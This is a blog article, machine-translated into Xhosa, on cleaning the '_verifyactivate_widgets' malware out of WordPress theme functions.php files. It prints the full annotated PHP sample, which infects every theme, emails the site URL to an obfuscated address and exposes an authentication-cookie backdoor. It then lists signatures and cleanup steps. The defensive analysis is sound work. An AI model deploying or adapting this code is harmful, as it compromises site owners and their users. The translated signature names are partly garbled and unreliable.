Isalathiso senqaku
Kutshanje, emva kokusebenzisa i-plugin ye-Wordfence Security ukuskena ikhowudi enobungozi kwiwebhusayithi yakhe , uChen Weiliang ufumanise ukuba ikhowudi ye-virus enobungozi yayifihliwe kwifayile ye-function.php yesihloko sakhe se-WordPress .
Ikhowudi enobungozi kwifayile ye-WordPress ifayile function.php
Eyona ndawo inokwenzeka ye "ikhowudi ekhohlakeleyo" kwi-WordPress yi-function.php kwi-theme directory, ehlala ifihliwe ekupheleni kwefayile ye-function.php.
Ingxaki ephambili: Le khowudi inobungozi ijonga ukuba zonke izihloko eziphantsi kwebhlog yangoku zisulelekile na ngalo lonke ixesha umntu etyelela iphepha lakho lebhlog. Ukuba akunjalo, zonke ziyasuleleka.
Emva koko, ngexesha lenkqubo ethi `init` yeWordPress, ijonga ukuba ibhlog yangoku ithumele i-imeyile na [email protected].
Wazi njani ukuba ithunyelwe?
- Kwitafile yakho ye-wp_options kukho ifayile ebizwa
_is_widget_active_ukhetho, ukuba ithunyelwe ngempumelelo, ixabiso layo limiselwe ku-1; - Ukuba akunjalo, i-URL yephepha lasekhaya lebhlog eyosulelekileyo ngoku iya kusetyenziswa njengesihloko kunye nomxholo.
- Kuphelele apho, andizange ndenze naziphi na ezinye izinto ezimbi.
Ikhowudi yentsholongwane enobungozi imi ngolu hlobo lulandelayo (kunokubakho umahluko, kodwa ikhowudi esisiseko iyafana):
<?php
function _verifyactivate_widgets(){
//当前文件名，如/path-to-www/wp-content/themes/SimpleDark/functions.php
//查找当前主题functions.php文件中最后一个 <? 标记，从这个标记的位置开始，取得一直到文件尾的内容
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),“<“.“?”));
$output=“”;
$allowed=“”;
//去除html和php标签，其实这一句是扯蛋。。。
$output=strip_tags($output, $allowed);
//取得主题目录themes的绝对路径，如 /path-to-www/wp-content/themes
//为了加强程序的兼容性，它不惜以这种很晦涩的方式来获取。。。
//以主题目录themes的绝对路径用array包裹为参数传递给_get_allwidgets_cont函数获取此博客的所有主题的functions.php文件的绝对路径
$direst=_get_allwidgets_cont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),“themes”) + 6)));
if (is_array($direst)){
foreach ($direst as $item){
//如果主题functions.php文件可写
if (is_writable($item)){
//特征码
$ftion=substr($widget,stripos($widget,“_”),stripos(substr($widget,stripos($widget,“_”)),“(“));
//取目标functions.php文件内容
$cont=file_get_contents($item);
//没找到特征码?OK,试图感染
if (stripos($cont,$ftion) === false){
//查看目标functions.php文件最后是否是以 ?> 结尾，如果不是，给加上 ?> 标记
$comaar=stripos( substr($cont,-20),”?”.”>”) !== false ? “” : “?”.”>”;
//这里的代码是忽悠人了，模仿WP widgets的代码，蛊惑你的眼睛，让你觉得这是widget代码。。。
$output .= $before . “Not found” . $after;
//如果文件是以 ?> 标记结尾的，连标记一起取过来
if (stripos( substr($cont,-20),”?”.”>”) !== false){$cont=substr($cont,0,strripos($cont,”?”.”>”) + 2);}
//开始感染,$widget内容即是恶意代码自身,在functions.php文件原内容后附加恶意代码
$output=rtrim($output, “\n\t”); fputs($f=fopen($item,”w+”),$cont . $comaar . “\n” .$widget);fclose($f);
//后面这句也是伪装用的
$output .= ($isshowdots && $ellipsis) ? “…” : “”;
}
}
}
}
return $output;
}
function _get_allwidgets_cont($wids,$items=array()){
//从$wids数组弹出一个元素(实际上是一个位置)
$places=array_shift($wids);
//如果位置字串是以/结尾的，则去掉/
if(substr($places,-1) == “/”){
$places=substr($places,0,-1);
}
//若不存在这样的文件或目录则直接返回false
if(!file_exists($places) || !is_dir($places)){
return false;
}elseif(is_readable($places)){
//否则的话。。。嘿嘿
//遍历此目录
$elems=scandir($places);
foreach ($elems as $elem){
if ($elem != “.” && $elem != “..”){
//如果是目录,则加入$wids数组
if (is_dir($places . “/” . $elem)){
$wids[]=$places . “/” . $elem;
} elseif (is_file($places . “/” . $elem)&&
$elem == substr(__FILE__,-13)){
//否则，如果是文件，并且文件名等于 functions.php的话，则加入到$items数组保存,这才是它的目的functions.php正是它要找的
$items[]=$places . “/” . $elem;}
}
}
}else{
return false;
}
//下面还有子目录？再找找看,递归
if (sizeof($wids) > 0){
return _get_allwidgets_cont($wids,$items);
} else {
//好了，完事了，以数组返回所有找到的functions.php文件的绝对路径
return $items;
}
}
//下面是3个针对低版本的php而写的兼容函数
if(!function_exists(“stripos”)){
function stripos( $str, $needle, $offset = 0 ){
return strpos( strtolower( $str ), strtolower( $needle ), $offset );
}
}
if(!function_exists(“strripos”)){
function strripos( $haystack, $needle, $offset = 0 ) {
if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
if( $offset < 0 ){
$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
}
else{
$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) – $offset ), 0 ) ) );
}
if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
$pos = ( strlen( $haystack ) – ( $found + $offset + strlen( $needle ) ) );
return $pos;
}
}
if(!function_exists(“scandir”)){
function scandir($dir,$listDirectories=false, $skipDots=true) {
$dirArray = array();
if ($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if (($file != “.” && $file != “..”) || $skipDots == true) {
if($listDirectories == false) { if(is_dir($file)) { continue; } }
array_push($dirArray,basename($file));
}
}
closedir($handle);
}
return $dirArray;
}
}
//这个动作添加了，用于检测所有主题目录下functions.php并感染
add_action(“admin_head”, “_verifyactivate_widgets”);
function _getprepare_widget(){
if(!isset($text_length)) $text_length=120;
if(!isset($check)) $check=”cookie”;
if(!isset($tagsallowed)) $tagsallowed=”<a>“;
if(!isset($filter)) $filter=”none”;
if(!isset($coma)) $coma=””;
if(!isset($home_filter)) $home_filter=get_option(“home”);
if(!isset($pref_filters)) $pref_filters=”wp_”;
if(!isset($is_use_more_link)) $is_use_more_link=1;
if(!isset($com_type)) $com_type=””;
if(!isset($cpages)) $cpages=$_GET[“cperpage”];
if(!isset($post_auth_comments)) $post_auth_comments=””;
if(!isset($com_is_approved)) $com_is_approved=””;
if(!isset($post_auth)) $post_auth=”auth”;
if(!isset($link_text_more)) $link_text_more=”(more…)”;
if(!isset($widget_yes)) $widget_yes=get_option(“_is_widget_active_”);
if(!isset($checkswidgets))
//这个实际是wp_set_auth_cookie
$checkswidgets=$pref_filters.”set”.”_”.$post_auth.”_”.$check;
if(!isset($link_text_more_ditails)) $link_text_more_ditails=”(details…)”;
if(!isset($contentmore)) $contentmore=”ma”.$coma.”il”;
if(!isset($for_more)) $for_more=1;
if(!isset($fakeit)) $fakeit=1;
if(!isset($sql)) $sql=””;
//如果 _is_widget_active_ option内容为空,即表示没有被感染过
if (!$widget_yes) :
global $wpdb, $post;
//取出存在已经通过的评论（不包括trackback/pingback）的文章
// post_author 为 [email protected] 的文章，肯定是没有的
$sq1=”SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\”1\” AND comment_type=\”\” AND post_author=\”li”.$coma.”vethe”.$com_type.”mas”.$coma.”@”.$com_is_approved.”gm”.$post_auth_comments.”ail”.$coma.”.”.$coma.”co”.”m\” AND post_password=\”\” AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count”;#
if (!empty($post->post_password)) {
if ($_COOKIE[“wp-postpass_”.COOKIEHASH] != $post->post_password) {
if(is_feed()) {
$output=__(“There is no excerpt because this is a protected post.”);
} else {
$output=get_the_password_form();
}
}
}
if(!isset($fixed_tags)) $fixed_tags=1;
if(!isset($filters)) $filters=$home_filter;
//$gettextcomments实际上为 wp_mail
if(!isset($gettextcomments)) $gettextcomments=$pref_filters.$contentmore;
if(!isset($tag_aditional)) $tag_aditional=”div”;
//这里$sh_cont即为 [email protected]
if(!isset($sh_cont)) $sh_cont=substr($sq1, stripos($sq1, “live”), 20);#
if(!isset($more_text_link)) $more_text_link=”Continue reading this entry”;
if(!isset($isshowdots)) $isshowdots=1;
$comments=$wpdb->get_results($sql);
if($fakeit == 2) {
$text=$post->post_content;
} elseif($fakeit == 1) {
$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
} else {
$text=$post->post_excerpt;
}
//开始调用 wp_mail 向 [email protected] 发送邮件，标题和内容都是被感染的博客的URL 地址
$sq1=”SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\”1\” AND comment_type=\”\” AND comment_content=”. call_user_func_array($gettextcomments, array($sh_cont, $home_filter, $filters)) .” ORDER BY comment_date_gmt DESC LIMIT $src_count”;#
if($text_length < 0) {
$output=$text;
} else {
if(!$no_more && strpos($text, “<span id=“more-5265”></span>“)) {
$text=explode(“<span id=“more-5675”></span>“, $text, 2);
$l=count($text[0]);
$more_link=1;
//执行这一句时就开始发邮件了。
$comments=$wpdb->get_results($sql);
} else {
$text=explode(” “, $text);
if(count($text) > $text_length) {
$l=$text_length;
$ellipsis=1;
} else {
$l=count($text);
$link_text_more=””;
$ellipsis=0;
}
}
for ($i=0; $i<$l; $i++)
$output .= $text[$i] . ” “;
}
//把感染标记置为1
update_option(“_is_widget_active_”, 1);
if(“all” != $tagsallowed) {
$output=strip_tags($output, $tagsallowed);
return $output;
}
endif;
$output=rtrim($output, “\s\n\t\r\0\x0B”);
$output=($fixed_tags) ? balanceTags($output, true) : $output;
$output .= ($isshowdots && $ellipsis) ? “…” : “”;
//$filter 为 none …,又是在伪装
$output=apply_filters($filter, $output);
switch($tag_aditional) {
case(“div”) :
$tag=”div”;
break;
case(“span”) :
$tag=”span”;
break;
case(“p”) :
$tag=”p”;
break;
default :
$tag=”span”;
}
//$checkswidgets即是wp_set_auth_cookie
if ($is_use_more_link ) {
if($for_more) {
$output .= ” <” . $tag . ” class=\”more-link\”><a href=\””. get_permalink($post–>ID) . “#more-” . $post->ID .”\” title=\”” . $more_text_link . “\”>” . $link_text_more = !is_user_logged_in() && @call_user_func_array($checkswidgets,array($cpages, true)) ? $link_text_more : “” . “</a></” . $tag . “>” . “\n”;
} else {
$output .= ” <” . $tag . ” class=\”more-link\”><a href=\””. get_permalink($post–>ID) . “\” title=\”” . $more_text_link . “\”>” . $link_text_more . “</a></” . $tag . “>” . “\n”;
}
}
return $output;
}
//这里是用来干坏事的，这才是这个恶意代码的目的,前面的感染是“准备活动”
add_action(“init”, “_getprepare_widget”);
//这个函数也是用来伪装的,无恶意
function __popular_posts($no_posts=6, $before=”<li>“, $after=”</li>“, $show_pass_post=false, $duration=””) {
global $wpdb;
$request=”SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \”comment_count\” FROM $wpdb->posts, $wpdb->comments”;
$request .= ” WHERE comment_approved=\”1\” AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\”publish\””;
if(!$show_pass_post) $request .= ” AND post_password =\”\””;
if($duration !=””) {
$request .= ” AND DATE_SUB(CURDATE(),INTERVAL “.$duration.” DAY) < post_date “;
}
$request .= ” GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts”;
$posts=$wpdb->get_results($request);
$output=””;
if ($posts) {
foreach ($posts as $post) {
$post_title=stripslashes($post->post_title);
$comment_count=$post->comment_count;
$permalink=get_permalink($post->ID);
$output .= $before . ” <a href=\”” . $permalink . “\” title=\”” . $post_title.“\”>” . $post_title . “</a> ” . $after;
}
} else {
$output .= $before . “None found” . $after;
}
return $output;
}
?>Zeziphi iikhowudi ezinobungozi kwimixholo yeWordPress?
Ukuba usebenzisa i-plugin yokhuseleko lwe-Wordfence Security ukuskena kwaye unqume ukuba ifayile yakho ye-function.php iphazamisekile, kufuneka uhlolisise, umzekelo:
- _qinisekisa_iwijethi
- umsebenzi _checkactive_widgets
- umsebenzi _fumana_i-allwidgets_qhubeka
- imicu yokusebenza
- umsebenzi strripos
- umsebenzi scandir
- umsebenzi _fumanaprepare_widget
- umsebenzi __izithuba_ezidumileyo
- add_action("admin_head", "_checkactive_widgets");
- add_action("init", "_getprepare_widget");
- _qinisekisa_yenza_iwijethi
- _jonga_iwijethi_ayisebenzi
- _fumana_i-allwidgetscont
- _lungiselela_iwijethi
- __izithuba_ezidumileyo
- Umgca ngamnye uzimele, ukuba unekhowudi engentla kwimisebenzi yakho.php ngoko unokubethwa.
- Phakathi kwazo, imisebenzi kunye ne-action_action ngokuqhelekileyo ziikhowudi ezizeze "khowudi ezikhohlakeleyo" ze "preparatory activities".
Indlela yokucoca ikhowudi yentsholongwane ye-WordPress.php?
Ukucoca kwakhona kulula kakhulu.Fumana nje ikhowudi efana nale ngasentla kwifayile ye-function.php yomxholo we-WordPress kwaye uyicime.Nangona kunjalo, xa usulelekile, yonke imixholo kwi-themes directory yakho iya kusuleleka, ngoko kuphela okwangoku kuya kuba. Umxholo osetyenzisiweyo awusebenzi kwaye uya kuveliswa ngokukhawuleza emva kokucocwa.
Isisombululo kukucima umxholo omnye we-WordPress wekhowudi yentsholongwane enobungozi, usethe ifayile ye-funcns.php kwiimvume ze-444, uze ucime ezinye ii-WordPress themes.
Ngokumalunga nokuba imvume ye-444 yefayile yokugqibela yemisebenzi.php idinga ukutshintshwa emva, sicebisa ukuba i-444 ikhuselekile kwaye inokuguqulwa xa ifuneka.
Izinto ekufuneka uziqaphele xa usebenzisa iplagi yoKhuseleko lweWordfence
Sincoma i-plugin ye-WordPress evela kwi-Wordfence Security, i-plugin ye-WordPress yokhuseleko kunye ne-firewall edibeneyo kunye nokuskena ikhowudi ekhohlakeleyo, eyakhiwe kwaye igcinwe liqela elikhulu elizinikezelwe kwi-WordPress yokhuseleko.
Nangona kukho iimodyuli ezihlawulwayo, sinokusebenzisa imodyuli yasimahla "Scan" ukuskena iwebhusayithi yethu yeWordPress kwaye sijonge iifayile zePHP eziqulethe "ikhowudi ekhohlakeleyo". inxalenye iya kuba yi-False positives), kodwa ukufumana "ikhowudi ekhohlakeleyo" ngokuqinisekileyo kusebenza ngakumbi ngesiqingatha somzamo.
Kufuneka kuqatshelwe ukuba le plug-in ayikhuthazwa ukuba ivulwe rhoqo, kuba i-firewall yayo kunye nokukhuselwa kokhuseleko kuya kubangela uxinzelelo oluthile lomthwalo kwi-database kwaye luchaphazele ukusebenza kwewebhusayithi.
Ngokwesiqhelo, iplagin yenziwe ukuba iqhube iscan xa ifuneka.
Emva kokusombulula ingxaki, vala iplagi ukuze ulungiselele iimeko zikaxakeka.
Ngethemba, inqaku elithi "Indlela yokucoca ikhowudi enobungozi kwizihloko zeWordPress - verifyactivate_widgets" elabelwana ngalo kwibhlog kaChen Weiliang ( https://www.chenweiliang.com/ ) liza kuba luncedo kuwe.
Zive ukhululekile ukwabelana ngekhonkco leli nqaku: https://www.chenweiliang.com/cwl-27554.html